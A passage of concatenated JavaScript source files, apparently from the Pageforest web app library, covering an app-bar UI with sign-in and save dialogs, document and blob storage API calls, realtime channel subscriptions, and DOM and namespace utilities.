'<span class="pfLink" id="pfSave">Save</span>' +
'<div class="expander collapsed" id="pfMore"></div>' +
'{logo}' +
'</div>' +
'<div class="pfRight"></div>' +
'</div>';
var objFill;
if (screen.width >= 640) {
objFill = {
welcome: '<span id="pfWelcome">Welcome,</span>',
logo: '<div id="pfLogo"></div>'
};
} else {
objFill = {
welcome: '',
logo: ''
};
}
htmlAppBar = format.replaceKeys(htmlAppBar, objFill);
this.appBar = document.getElementById('pfAppBar');
if (!this.appBar) {
document.body.style.marginTop = "39px";
document.body.style.position = "relative";
this.appBar = document.createElement('div');
this.appBar.setAttribute('id', 'pfAppBar');
document.body.appendChild(this.appBar);
}
this.appBar.innerHTML = htmlAppBar;
// For use in closures, below.
var self = this;
jQuery('#pfSignIn').click(function () {
self.signInOut();
});
function onSaveClose() {
self.toggleAppPanel(false);
// See if anything needs to be saved.
if (!self.isDirty()) {
self.checkDoc();
}
// Save it if it does.
self.save();
}
function onSave() {
// If this is a first-save or not dirty, pop open the dialog
// so the user can set the doc title, etc.
if (self.docid == undefined || self.isSaved()) {
self.toggleAppPanel(true);
return;
}
onSaveClose();
}
function onChangeTitle(evt, value) {
// If the docs not yet saves, we adjust the docid to be a slugified
// title.
if (!self.docid && !self.appDialog.hasChanged('docid')) {
self.appDialog.setValues({docid: format.slugify(value)});
}
}
function onCopy() {
self.detach();
self.toggleAppPanel();
}
jQuery('#pfSave').click(onSave);
self.appPanel = document.createElement('div');
self.appPanel.setAttribute('id', 'pfAppPanel');
self.appDialog = new dialog.Dialog({
fields: [
{name: 'message', type: 'message'},
{name: 'title', required: true, onChange: onChangeTitle},
{name: 'docid', label: "URL ID", required: true},
{name: 'tags'},
{name: 'publicReader', label: "Public", type: 'checkbox'},
{name: 'owner', type: 'value'},
{name: 'writers', label: "Co-authors"},
{name: 'modified', label: "Last Saved", type: 'value'},
{name: 'save', label: "Save Now", type: 'button',
onClick: onSaveClose},
{name: 'copy', label: "Make a Copy", type: 'button',
onClick: onCopy}
]
});
document.body.appendChild(self.appPanel);
jQuery(self.appPanel).html(self.appDialog.html());
// TODO: Make this available to apps not using the appPanel?
self.errorPanel = document.createElement('div');
self.errorPanel.setAttribute('id', 'pfErrorPanel');
self.errorDialog = new dialog.Dialog({
fields: [
{name: 'error', type: 'message'}
]
});
document.body.appendChild(self.errorPanel);
jQuery(self.errorPanel).html(self.errorDialog.html());
jQuery('#pfMore').click(function() {
self.toggleAppPanel();
});
jQuery('#pfUsername').click(function() {
window.open('http://' + self.wwwHost + '/docs/');
});
jQuery('#pfLogo').click(function() {
window.open('http://' + self.wwwHost);
});
jQuery(window).resize(function() {
self.positionAppPanel();
});
this.updateAppBar();
},
isAppPanelOpen: function() {
return this.appPanel && jQuery(this.appPanel).is(':visible');
},
toggleAppPanel: function(fOpen) {
if (!this.appPanel ||
fOpen != undefined && fOpen == this.isAppPanelOpen()) {
return;
}
var self = this;
jQuery('#pfMore').toggleClass("expanded collapsed");
if (this.isAppPanelOpen()) {
this.positionAppPanel('hide');
return false;
} else {
this.positionAppPanel('show', function() {
self.setAppPanelValues(self.meta);
self.appDialog.setFocus();
});
return true;
}
},
positionAppPanel: function(animation, fnCallback) {
if (animation == undefined && !this.isAppPanelOpen()) {
return;
}
var ptUR = [dom.getRect(jQuery('#pfAppBarBox')[0])[2], -4];
dom.slide(this.appPanel, ptUR, animation, fnCallback);
},
showError: function(message) {
if (this.errorPanel == undefined) {
return;
}
var ptUR = [dom.getRect(jQuery('#pfAppBarBox')[0])[2], -4];
if (message == undefined) {
dom.slide(this.errorPanel, ptUR, 'hide');
return;
}
this.errorDialog.setValues({'error': message});
dom.slide(this.errorPanel, ptUR, 'show');
var self = this;
function retract() {
self.showError();
}
setTimeout(retract, 3000);
},
setAppPanelValues: function(doc) {
if (this.appPanel == undefined || !this.isAppPanelOpen()) {
return;
}
var values = {};
// Turn the last-save date to a string.
values.title = doc.title;
values.docid = this.ensureDocid(doc.docid);
values.owner = doc.owner;
values.modified = format.shortDate(
format.decodeClass(doc.modified));
values.tags = format.wordList(doc.tags);
values.writers = format.wordList(doc.writers);
values.publicReader = base.indexOf('public', doc.readers) != -1;
this.appDialog.enableField('message', this.docid == undefined);
if (this.docid == undefined) {
values.message = "Before saving, you can choose a new " +
"title for your document.";
}
this.appDialog.setValues(values);
this.appDialog.enableField('docid', this.docid == undefined);
this.appDialog.enableField('copy', this.docid != undefined);
},
getAppPanelValues: function() {
if (this.appPanel == undefined || !this.isAppPanelOpen()) {
return {};
}
var values = {};
var dlg = this.appDialog.getValues();
values.title = dlg.title;
values.docid = dlg.docid;
values.owner = dlg.owner;
values.tags = format.arrayFromWordList(dlg.tags);
values.writers = format.arrayFromWordList(dlg.writers);
values.readers = dlg.publicReader ? ['public'] : [];
return values;
},
// Sign in (or out) depending on current user state.
signInOut: function() {
var isSignedIn = this.username != undefined;
if (isSignedIn) {
this.signOut();
}
else {
this.signIn();
}
},
// Direct the user to the Pageforest sign-in page.
signIn: function () {
window.open('http://' + this.wwwHost + '/sign-in/' +
this.appid + '/', '_blank');
},
// Expire the session key to remove the sign-in for the user.
signOut: function () {
// checkUsername will update the user state in a jiffy
cookies.setCookie('sessionuser', 'expired', -1);
cookies.setCookie('sessionkey', 'expired', -1);
// Some browsers don't allow writing to HttpOnly cookies -
// use the server to do it.
$.ajax({
dataType: 'text',
url: 'http://' + this.appHost + '/auth/set-session/expired/',
error: this.errorHandler.fnMethod(this),
success: function (sessionKey, textStatus, xmlhttp) {
this.log("sessionkey deleted");
}.fnMethod(this)
});
}
}); // Client.methods
});
<file_sep>namespace.lookup("org.startpad.random").defineOnce(function(ns) {
ns.upper = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
ns.lower = 'abcdefghijklmnopqrstuvwxyz';
ns.digits = '0123456789';
ns.base64 = ns.upper + ns.lower + ns.digits + '+/';
ns.base64url = ns.upper + ns.lower + ns.digits + '-_';
ns.hexdigits = ns.digits + 'abcdef';
ns.randomString = function(len, chars) {
if (typeof chars == 'undefined') {
chars = ns.base64url;
}
var radix = chars.length;
var result = [];
for (var i = 0; i < len; i++) {
result[i] = chars[0 | Math.random() * radix];
}
return result.join('');
};
});
<file_sep>/* socket.io */
//Interaction with server using Socket.IO
var socket = io.connect(location.protocol + '//' + location.host + '/control');
socket.on('connect', function(commands) {
$('#loadingMessage').hide();
});
// recieve message
socket.on('message', function(msg) {
console.log(msg);
$("#receiveMsg").html(msg);
});
// send message
function SendMsg(msg) {
socket.send(msg);
}
// disconnect
function DisConnect() {
socket.disconnect();
}<file_sep>/* Low-level storage primitives for saving and loading documents
and blobs.
*/
/*global jQuery, goog $ */
namespace.lookup('com.pageforest.storage').defineOnce(function (ns) {
var base = namespace.lookup('org.startpad.base');
var util = namespace.util;
var format = namespace.lookup('org.startpad.format');
var loader = namespace.lookup('org.startpad.loader');
var errorMessages = {
bad_options: "API Call invalid",
bad_callback: "API Call invalid",
slice_range: "Invalid slice range (start or end value invalid).",
missing_document_name: "Document name is missing.",
missing_object: "Document data is missing.",
missing_callback: "Missing callback function.",
missing_blobid: "Blobid (key) is missing.",
missing_title: "Document is missing a title.",
missing_blob: "Document is missing a blob property.",
invalid_json: "WARNING: Save object property {key} " +
"with constructor: {ctor}.",
doc_unsaved: "Document must be saved before " +
"children can be saved.",
sub_option: "Option can only be applied to a Doc, not a Blob."
};
function URL(url) {
this.url = url;
this.params = [];
}
// REVIEW: Should this use data:StParams instead?
URL.methods({
push: function(key, value) {
if (value != undefined) {
this.params.push(key + '=' + encodeURIComponent(value));
}
},
toString: function() {
if (this.params.length == 0) {
return this.url;
}
return this.url + '?' + this.params.join('&');
}
});
function jsonToString(json) {
var s;
// TODO: Map Date properties here?
// How to unmap Dates on callbacks?
function mapper(key, value) {
// Ignore internal properties of objects
if (key && key[0] == '_') {
return undefined;
}
return value;
}
try {
s = JSON.stringify(json, mapper, 2);
} catch (e) {
// Error probably indicates a circular reference
console.error(e.message);
return JSON.stringify({error: e.message});
}
return s;
}
function getEtag(xmlhttp) {
var s = xmlhttp.getResponseHeader('ETag');
// Remove quotes around ETag
if (s != undefined) {
s = s.slice(1, -1);
}
return s;
}
function Storage(client) {
// We need the client context for Storage functions
this.client = client;
this.subscriptions = {};
this.errorHandler = client.errorHandler;
}
Storage.methods({
// Return the URL for a document or blob.
getDocURL: function(docid, blobid) {
docid = docid || '';
blobid = blobid || '';
var url = '/docs/';
// Special case for URL for root of all docs
if (docid == '') {
return url;
}
return url + docid + '/' + blobid;
},
initChannel: function(fnSuccess) {
fnSuccess = fnSuccess || function () {};
// Load the required channel api client library
if (typeof goog == 'undefined' ||
typeof goog.appengine == 'undefined') {
loader.loadScript('/_ah/channel/jsapi',
this.initChannel.fnMethod(this).fnArgs(fnSuccess));
return;
}
var url = new URL('/channel/');
url.push('uid', this.client.uid);
var self = this;
this.client.onInfo('channel/init', "Intializing new channel.");
$.ajax({
url: url.toString(),
error: this.errorHandler,
success: function (result, textStatus, xmlhttp) {
result.expires = new Date().getTime() +
1000 * result.lifetime;
self.channelInfo = result;
self.channel = new goog.appengine.Channel(result.token);
self.socket = self.channel.open();
self.socket.onmessage = self.onChannel.fnMethod(self);
self.socket.onopen = function() {
self.client.onInfo('channel/open',
"Channel socket is open.");
fnSuccess(self.channelInfo);
};
self.socket.onclose = function() {
self.client.onError('channel/closed',
"Realtime messages from PageForest " +
"are no longer available.");
delete self.channelInfo;
delete self.channel;
delete self.socket;
};
}
});
},
onChannel: function(evt) {
// Message format: {app: appId,
// key: key,
// method: string (PUT or PUSH),
// data: {size: number,
// modified: { Date },
// sha1: string
// }
// }
//
// We want to filter notifications for changes that we ourselves are making.
// Suppose we have two writers who write A (us) and B (someone else) to the same
// Doc/Blob. Since we rely on the server to tell us the SHA1 hash of the result, we
// have to wait until a PUT/PUSH return before allowing a notification to be sent
// to the client.
//
// A - Notification of change to A's sha1 hash
// B - Notification of change to B's sha1 hash
// R - Return from PUT/PUSH (writing A)
//
// Callback order -> Notifications
// A, B, R -> B won: fn(B)
// A, R, B -> B won: fn(B)
// B, A, R -> A won: none
// B, R, A -> A won: none
// R, A, B -> B won: fn(B)
// R, B, A -> A won: none
//
// TODO: Change key to docid:, blobid:
var message = JSON.parse(evt.data);
var sub;
var fSent = false;
this.client.onInfo('channel/message', message.key +
' (' + message.method + ')');
// Check for children subscription on parent doc
var parts = message.key.split('/');
if (parts.length > 2) {
sub = this.subscriptions[parts[0] + '/'];
if (sub && sub.enabled && sub.children) {
sub.fn(message);
fSent = true;
}
}
sub = this.subscriptions[message.key];
if (sub && sub.enabled) {
sub.fn(message);
fSent = true;
}
if (!fSent) {
this.client.onError('channel/nosub',
"No subscription for channel key: " +
message.key);
}
},
// Subscribe for notifications to Doc or Blob(s).
// options:
// exclusive - If true, replace all past subscriptions
// with this one.
// children - If true, receive notifications for all Blob's
// within a document.
subscribe: function(docid, blobid, options, fn) {
// TODO: Add options.onError to callback for errors
// on this subscribe.
if (!this.validateArgs('subscribe', docid, blobid, undefined,
options, fn)) {
return;
}
// All channel messages are canonicalized to document lower case strings
docid = docid.toLowerCase();
options = options || {};
options.enabled = (fn != undefined);
options.fn = fn;
var key = docid + '/';
if (blobid != undefined) {
key += blobid + '/';
}
if (options.exclusive) {
delete options.exclusive;
this.subscriptions = {};
}
// TODO: Remove enabled flag? Just remove from
// subscriptions list? BUG: Multiple clients will
// over-write the channel's subscriptions since all
// shared on session!
this.subscriptions[key] = options;
this.ensureSubs();
},
hasSubscription: function(docid, blobid) {
docid = docid.toLowerCase();
var key = docid + '/';
if (blobid != undefined) {
key += blobid + '/';
}
return this.subscriptions[key] != undefined;
},
ensureSubs: function() {
// Ensure we have a current channel object
if (this.channelInfo == undefined ||
this.channelInfo.expires < new Date().getTime()) {
this.initChannel(this.ensureSubs.fnMethod(this));
return;
}
var url = new URL('/channel/subscriptions/');
url.push('uid', this.client.uid);
var self = this;
$.ajax({
type: 'PUT',
url: url.toString(),
dataType: 'json',
data: jsonToString(this.subscriptions),
error: this.errorHandler,
success: function (result, textStatus, xmlhttp) {
// TODO: Notify each newly open subscription
// function with a {method: 'INIT', key: ''}
// ALSO - guarantee that the subscription function
// gets either 'INIT' OR 'ERROR' callback.
self.client.onInfo('channel/updated',
"Subscriptions updated: " +
base.keys(result.subscriptions).length);
}
});
},
validateArgs: function(funcName, docid, blobid, json,
options, fnSuccess) {
var blobFuncs = ['getBlob', 'putBlob', 'push', 'slice'];
var isPutMethod = funcName.indexOf('put') == 0 ||
funcName == 'push';
var isBlobMethod = base.indexOf(funcName, blobFuncs) != -1;
// Each of the following validations should be TRUE - or an error
// will be reported.
var validations = {
// Data writing methods need to provide signin and data!
missing_object: !isPutMethod || json != undefined,
bad_options: typeof options != 'function',
bad_callback: fnSuccess == undefined ||
typeof fnSuccess == 'function',
// Only applies to slice method
slice_range: options == undefined ||
(options.start == undefined ||
typeof options.start == 'number') &&
(options.end == undefined ||
typeof options.end == 'number'),
missing_document_name: funcName == 'list' || docid != undefined,
// Data reading methods should have a callback function
missing_callback: isPutMethod || fnSuccess != undefined,
missing_blobid: !isBlobMethod || blobid != undefined,
missing_title: funcName != 'putDoc' ||
typeof json == 'object' && json.title,
missing_blob: funcName != 'putDoc' ||
typeof json == 'object' && json.blob,
sub_option: funcName != 'subscribe' ||
options == undefined || !options.children || blobid == undefined
};
for (var code in validations) {
if (validations.hasOwnProperty(code)) {
var validation = validations[code];
if (!validation) {
this.client.onError(code, errorMessages[code] +
'(' + funcName + ')');
return false;
}
}
}
this.client.log(funcName + ': ' + docid +
(blobid ? '/' + blobid : ''));
return true;
},
// Save a document to the Pageforest store
// TODO: Add Tags support here.
// TODO: Want options here - so we can have error handler
putDoc: function(docid, json, options, fnSuccess) {
if (!this.validateArgs('putDoc', docid, undefined, json,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
// Default permissions to be public readable.
if (!json.readers) {
json.readers = ['public'];
}
var data = jsonToString(json);
$.ajax({
type: 'PUT',
url: this.getDocURL(docid),
data: data,
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
getDoc: function (docid, options, fnSuccess) {
if (!this.validateArgs('getDoc', docid, undefined, undefined,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
$.ajax({
dataType: 'json',
url: this.getDocURL(docid),
error: options.error || this.errorHandler,
success: function (doc, textStatus, xmlhttp) {
fnSuccess(doc, textStatus, xmlhttp);
}
});
},
deleteDoc: function (docid, fnSuccess) {
if (!this.validateArgs('deleteDoc', docid, undefined, undefined,
undefined, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
$.ajax({
type: 'PUT',
dataType: 'json',
url: this.getDocURL(docid) + '?method=delete',
error: this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
// Write a Blob to storage.
putBlob: function(docid, blobid, data, options, fnSuccess) {
if (!this.validateArgs('putBlob', docid, blobid, data,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
if (docid == undefined) {
this.client.onError('doc_unsaved',
errorMessages.doc_unsaved);
return;
}
var url = new URL(this.getDocURL(docid, blobid));
if (options.encoding) {
url.push('transfer-encoding', options.encoding);
}
if (options.tags) {
url.push('tags', options.tags.join(','));
}
if (typeof data != "string") {
data = jsonToString(data);
}
$.ajax({
type: 'PUT',
url: url.toString(),
data: data,
// BUG: Shouldn't this be type text sometimes?
dataType: 'json',
processData: false,
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
// Append json to a Blob array.
push: function(docid, blobid, json, options, fnSuccess) {
if (!this.validateArgs('push', docid, blobid, json,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
var url = new URL(this.getDocURL(docid, blobid));
url.push('method', 'push');
url.push('max', options.max);
if (docid == undefined) {
this.client.onError('doc_unsaved', errorMessages.doc_unsdaved);
return;
}
if (typeof json != 'string') {
json = jsonToString(json);
}
$.ajax({
type: 'PUT',
url: url.toString(),
data: json,
// BUG: Shouldn't this be type text sometimes?
dataType: 'json',
processData: false,
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
// Read a blob from storage.
getBlob: function(docid, blobid, options, fnSuccess) {
// TODO: Allow for error function callback in options (all
// functions in storage).
if (!this.validateArgs('getBlob', docid, blobid, undefined,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
var url = new URL(this.getDocURL(docid, blobid));
// BUG: transfer-encoding ignored on GET by server?
url.push('transfer-encoding', options.encoding);
url.push('wait', options.wait);
url.push('etag', options.etag);
var type = 'GET';
if (options.headOnly) {
type = 'HEAD';
}
$.ajax({
type: type,
url: url.toString(),
// REVIEW: Is this the right default - note that 200 return
// codes can return error because the data is NOT json!
dataType: options.dataType || 'json',
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
// Read a blob from storage.
slice: function(docid, blobid, options, fnSuccess) {
if (!this.validateArgs('slice', docid, blobid, undefined,
options, fnSuccess)) {
return;
}
options = options || {};
fnSuccess = fnSuccess || function () {};
var url = new URL(this.getDocURL(docid, blobid));
url.push('method', 'slice');
url.push('start', options.start);
url.push('end', options.end);
url.push('wait', options.wait);
url.push('etag', options.etag);
$.ajax({
url: url.toString(),
dataType: 'json',
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
deleteBlob: function(docid, blobid, fnSuccess) {
if (!this.validateArgs('deleteBlob', docid, blobid, undefined,
undefined, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
$.ajax({
type: 'PUT',
dataType: 'json',
url: this.getDocURL(docid, blobid) + '?method=delete',
error: this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
},
list: function(docid, blobid, options, fnSuccess) {
var i;
var simpleOptions = ['depth', 'keysonly', 'prefix', 'tag', 'order'];
if (!this.validateArgs('list', docid, blobid, undefined,
options, fnSuccess)) {
return;
}
fnSuccess = fnSuccess || function () {};
options = options || {};
var url = new URL(this.getDocURL(docid, blobid));
url.push('method', 'list');
for (i = 0; i < simpleOptions.length; i++) {
var option = simpleOptions[i];
if (options[option] != undefined) {
url.push(option, options[option]);
}
}
if (options.since) {
if (typeof options.since == 'object' && options.since.constructor == Date) {
options.since = format.isoFromDate(options.since);
}
url.push('since', options.since);
}
// Allow for array of tags to query for intersection
if (options.tags) {
for (i = 0; i < options.tags.length; i++) {
url.push('tag', options.tags[i]);
}
}
url.push('transfer-encoding', options.encoding);
$.ajax({
url: url.toString(),
dataType: 'json',
error: options.error || this.errorHandler,
success: function (result, textStatus, xmlhttp) {
fnSuccess(result, textStatus, xmlhttp);
}
});
}
}); // Storage.methods
ns.extend({
'Storage': Storage,
'jsonToString': jsonToString,
'getEtag': getEtag
});
});
<file_sep>/*globals jQuery */
//--------------------------------------------------------------------------
// DOM Functions
// Points (pt) are [x,y]
// Rectangles (rc) are [xTop, yLeft, xRight, yBottom]
//--------------------------------------------------------------------------
namespace.lookup('org.startpad.dom').define(function(ns) {
var util = namespace.util;
var vector = namespace.lookup('org.startpad.vector');
var base = namespace.lookup('org.startpad.base');
var ix = 0;
var iy = 1;
var ix2 = 2;
var iy2 = 3;
// Get absolute position on the page for the upper left of the element.
// Rely on jQuery - see: http://stackoverflow.com/questions/5601659
function getPos(elt) {
var offset = jQuery(elt).offset();
return [offset.left, offset.top];
}
// Return size of a DOM element in a Point - includes borders, and
// padding, but not margins.
function getSize(elt) {
return [elt.offsetWidth, elt.offsetHeight];
}
// Return absolute bounding rectangle for a DOM element:
// [x, y, x + dx, y + dy]
function getRect(elt) {
// TODO: Should I use getClientRects or getBoundingClientRect?
var rc = getPos(elt);
var ptSize = getSize(elt);
rc.push(rc[ix] + ptSize[ix], rc[iy] + ptSize[iy]);
return rc;
}
// Relative rectangle within containing element
function getOffsetRect(elt) {
var rc = [elt.offsetLeft, elt.offsetTop];
var ptSize = getSize(elt);
rc.push(rc[ix] + ptSize[ix], rc[iy] + ptSize[iy]);
return rc;
}
function getMouse(evt) {
var x = document.documentElement.scrollLeft || document.body.scrollLeft;
var y = document.documentElement.scrollTop || document.body.scrollTop;
return [x + evt.clientX, y + evt.clientY];
}
function getWindowRect() {
var x = document.documentElement.scrollLeft || document.body.scrollLeft;
var y = document.documentElement.scrollTop || document.body.scrollTop;
var dx = window.innerWidth ||
document.documentElement.clientWidth ||
document.body.clientWidth;
var dy = window.innerHeight ||
document.documentElement.clientHeight ||
document.body.clientHeight;
return [x, y, x + dx, y + dy];
}
function setPos(elt, pt) {
elt.style.left = pt[0] + 'px';
elt.style.top = pt[1] + 'px';
}
function setSize(elt, pt) {
// Setting the width of an element INSIDE the padding
elt.style.width = pt[0] + 'px';
elt.style.height = pt[1] + 'px';
}
function setRect(elt, rc) {
setPos(elt, vector.ul(rc));
setSize(elt, vector.size(rc));
}
function removeChildren(node) {
var child;
for (child = node.firstChild; child; child = node.firstChild) {
node.removeChild(child);
}
}
function ancestors(elem) {
var aAncestors = [];
while (elem != document) {
aAncestors.push(elem);
elem = elem.parentNode;
}
return aAncestors;
}
// Find the height of the nearest common ancestor of elemChild and elemUncle
function commonAncestorHeight(elemChild, elemUncle) {
var aChild = ancestors(elemChild);
var aUncle = ancestors(elemUncle);
var iChild = aChild.length - 1;
var iUncle = aUncle.length - 1;
while (aChild[iChild] == aUncle[iUncle] && iChild >= 0) {
iChild--;
iUncle--;
}
return iChild + 1;
}
// Set focus() on element, but NOT at the expense of scrolling the
// window position
function setFocusIfVisible(elt) {
if (!elt) {
return;
}
var rcElt = getRect(elt);
var rcWin = getWindowRect();
if (vector.PtInRect(vector.UL(rcElt), rcWin) ||
vector.PtInRect(vector.LR(rcElt), rcWin)) {
elt.focus();
}
}
function scrollToBottom(elt) {
elt.scrollTop = elt.scrollHeight;
}
// Position a slide-out div with optional animation.
function slide(div, pt, animation, fnCallback) {
if (div.style.display != 'block') {
div.style.display = 'block';
}
var rcPanel = getRect(div);
var panelSize = getSize(div);
var reg = animation == 'show' ? 'lr' : 'ur';
rcPanel = vector.alignRect(rcPanel, reg, pt);
// Starting position
setPos(div, rcPanel);
// Slide down or up based on animation
if (animation == 'show') {
jQuery(div).animate({
top: '+=' + panelSize[1]
}, fnCallback);
return;
}
if (animation == 'hide') {
jQuery(div).animate({
top: '-=' + panelSize[1]
}, function() {
jQuery(this).hide();
if (fnCallback) {
fnCallback();
}
});
}
}
function bindIDs(aIDs) {
var mParts = {};
var i;
// If no array of id's is given, return all ids defined in the document
if (aIDs === undefined) {
var aAll = document.getElementsByTagName("*");
for (i = 0; i < aAll.length; i++) {
var elt = aAll[i];
if (elt.id && elt.id[0] != '_') {
mParts[elt.id] = elt;
}
}
return mParts;
}
for (i = 0; i < aIDs.length; i++) {
var sID = aIDs[i];
mParts[sID] = document.getElementById(sID);
}
return mParts;
}
function initValues(aNames, mpFields, mpValues) {
for (var i = 0; i < aNames.length; i++) {
if (mpValues[aNames[i]] != undefined) {
mpFields[aNames[i]].value = mpValues[aNames[i]];
}
}
}
function readValues(aNames, mpFields, mpValues) {
for (var i = 0; i < aNames.length; i++) {
var field = mpFields[aNames[i]];
var value;
if (field.type == 'checkbox') {
value = field.checked;
} else {
value = field.value;
}
mpValues[aNames[i]] = value;
}
}
/* Poor-man's JQuery compatible selector.
Accepts simple (single) selectors in one of three formats:
#id
.class
tag
*/
function $(sSelector) {
var ch = sSelector.substr(0, 1);
if (ch == '.' || ch == '#') {
sSelector = sSelector.substr(1);
}
if (ch == '#') {
return document.getElementById(sSelector);
}
if (ch == '.') {
return ns.getElementsByClassName(sSelector);
}
return document.getElementsByTagName(sSelector);
}
function getElementsByClassName(sClassName) {
if (document.getElementsByClassName) {
return document.getElementsByClassName(sClassName);
}
return ns.GetElementsByTagClassName(document, "*", sClassName);
}
/*
GetElementsByTagClassName
Written by <NAME>, http://www.snook.ca/jonathan
Add-ons by <NAME>, http://www.robertnyman.com
*/
function getElementsByTagClassName(oElm, strTagName, strClassName) {
var arrElements = (strTagName == "*" && oElm.all) ? oElm.all :
oElm.getElementsByTagName(strTagName);
var arrReturnElements = [];
strClassName = strClassName.replace(/\-/g, "\\-");
var oRegExp = new RegExp("(^|\\s)" + strClassName + "(\\s|$)");
var oElement;
for (var i = 0; i < arrElements.length; i++) {
oElement = arrElements[i];
if (oRegExp.test(oElement.className)) {
arrReturnElements.push(oElement);
}
}
return (arrReturnElements);
}
function getText(elt) {
// Try FF then IE standard way of getting element text
return base.strip(elt.textContent || elt.innerText);
}
function setText(elt, st) {
if (elt.textContent != undefined) {
elt.textContent = st;
} else {
elt.innerText = st;
}
}
/* Modify original event object to enable the DOM Level 2 Standard
Event model (make IE look like a Standards based event)
*/
function wrapEvent(evt)
{
evt = evt || window.evt || {};
if (!evt.preventDefault) {
evt.preventDefault = function() {
this.returnValue = false;
};
}
if (!evt.stopPropagation) {
evt.stopPropagation = function() {
this.cancelBubble = true;
};
}
if (!evt.target) {
evt.target = evt.srcElement || document;
}
if (evt.pageX == null && evt.clientX != null) {
var doc = document.documentElement;
var body = document.body;
evt.pageX = evt.clientX +
(doc && doc.scrollLeft || body && body.scrollLeft || 0) -
(doc.clientLeft || 0);
evt.pageY = evt.clientY +
(doc && doc.scrollTop || body && body.scrollTop || 0) -
(doc.clientTop || 0);
}
return evt;
}
var handlers = [];
function bind(elt, event, fnCallback, capture) {
if (!capture) {
capture = false;
}
var fnWrap = function() {
var args = util.copyArray(arguments);
args[0] = wrapEvent(args[0]);
return fnCallback.apply(elt, arguments);
};
if (elt.addEventListener) {
elt.addEventListener(event, fnWrap, capture);
} else if (elt.attachEvent) {
elt.attachEvent('on' + event, fnWrap);
} else {
elt['on' + event] = fnWrap;
}
handlers.push({
'elt': elt,
'event': event,
'capture': capture,
'fn': fnWrap
});
return handlers.length - 1;
}
function unbind(i) {
var handler = handlers[i];
if (handler == undefined) {
return;
}
handlers[i] = undefined;
var elt = handler.elt;
if (elt.removeEventListener) {
elt.removeEventListener(handler.event, handler.fn, handler.capture);
}
else if (elt.attachEvent) {
elt.detachEvent('on' + handler.event, handler.fn);
}
else {
elt['on' + handler.event] = undefined;
}
}
ns.extend({
'getPos': getPos,
'getSize': getSize,
'getRect': getRect,
'getOffsetRect': getOffsetRect,
'getMouse': getMouse,
'getWindowRect': getWindowRect,
'setPos': setPos,
'setSize': setSize,
'setRect': setRect,
'removeChildren': removeChildren,
'ancestors': ancestors,
'commonAncestorHeight': commonAncestorHeight,
'setFocusIfVisible': setFocusIfVisible,
'scrollToBottom': scrollToBottom,
'bindIDs': bindIDs,
'initValues': initValues,
'readValues': readValues,
'$': $,
'select': $,
'getElementsByClassName': getElementsByClassName,
'getElementsByTagClassName': getElementsByTagClassName,
'getText': getText,
'setText': setText,
'slide': slide,
'bind': bind,
'unbind': unbind
});
}); // startpad.dom
<file_sep>/* Begin file: namespace.js */
/* Namespace.js
Version 2.1, Sept. 14, 2010
by <NAME> - released into the public domain.
Support for building modular namespaces in javascript.
Globals:
namespace - The top of the namespace hierarchy. Child
namespaces are stored as properties in each namespace object.
namespace.lookup(path) - Return the namespace object with the given
path. Creates the namespace if it does not already exist. The path
has the form (unique.module.sub_module, e.g., 'com.pageforest.sample').
Utility functions:
util = namespace.util;
util.extendObject(dest, source1, source2, ...) - Copy the properties
from the sources into the destination (properties in following objects
override those from the preceding objects).
util.copyArray(a) - makes a (shallow) copy of an array or arguments list
and returns an Array object.
Extensions to the Function object:
Class.methods({
f1: function () {...},
f2: function () {...}
));
f1.fnMethod(obj, args) - closure to call obj.f1(args);
f1.fnArgs(args) - closure to add more arguments to a function
*** Class Namespace ***
Methods:
ns.define(callback(ns)) - Call the provided function with the new
namespace as a parameter. Returns the newly defined namespace.
ns.defineOnce(callback(ns)) - Same as 'define', but only allows the
first invocation of the callback function.
ns.extend(object) - Copy the (own) properties of the source
object into the namespace.
ns.nameOf(symbol) - Return the global name of a symbol in a namespace
(for eval() or html onEvent attributes).
Usage example:
namespace.lookup('org.startpad.base').define(function(ns) {
var util = namespace.util;
var other = ns.lookup('org.startpad.other');
ns.extend({
var1: value1,
var2: value2,
myFunc: function(args) {
...other.aFunction(args)...
}
});
// Constructor
ns.ClassName = function(args) {
...
};
util.extendObject(ns.ClassName.prototype, {
var1: value1,
method1: function(args) {
}
});
});
*/
// Define stubs for FireBug objects if not present.
// This is here because this will often be the first javascript file loaded.
// We refrain from using the window object as we may be in a web worker where
// the global scope is NOT window.
// Note: IE8 will NOT have console defined until the page loads under
// the debugger. I haven't been able to get the IE8 console working EVER.
if (typeof console == 'undefined') {
var console = (function() {
if (console != undefined) {
return console;
}
var noop = function() {};
var names = ["log", "debug", "info", "warn", "error", "assert",
"dir", "dirxml", "group", "groupEnd", "time", "timeEnd",
"count", "trace", "profile", "profileEnd"];
var consoleT = {};
for (var i = 0; i < names.length; ++i) {
consoleT[names[i]] = noop;
}
return consoleT;
}());
}
var namespace = (function() {
try {
if (namespace != undefined) {
return namespace;
}
}
catch (e) {}
function Namespace(parent, name) {
if (name) {
name = name.replace(/-/g, '_');
}
this._isDefined = false;
// List of namespaces that were referenced during definition.
this._referenced = [];
this._parent = parent;
if (this._parent) {
this._parent[name] = this;
this._path = this._parent._path;
if (this._path !== '') {
this._path += '.';
}
this._path += name;
} else {
this._path = '';
}
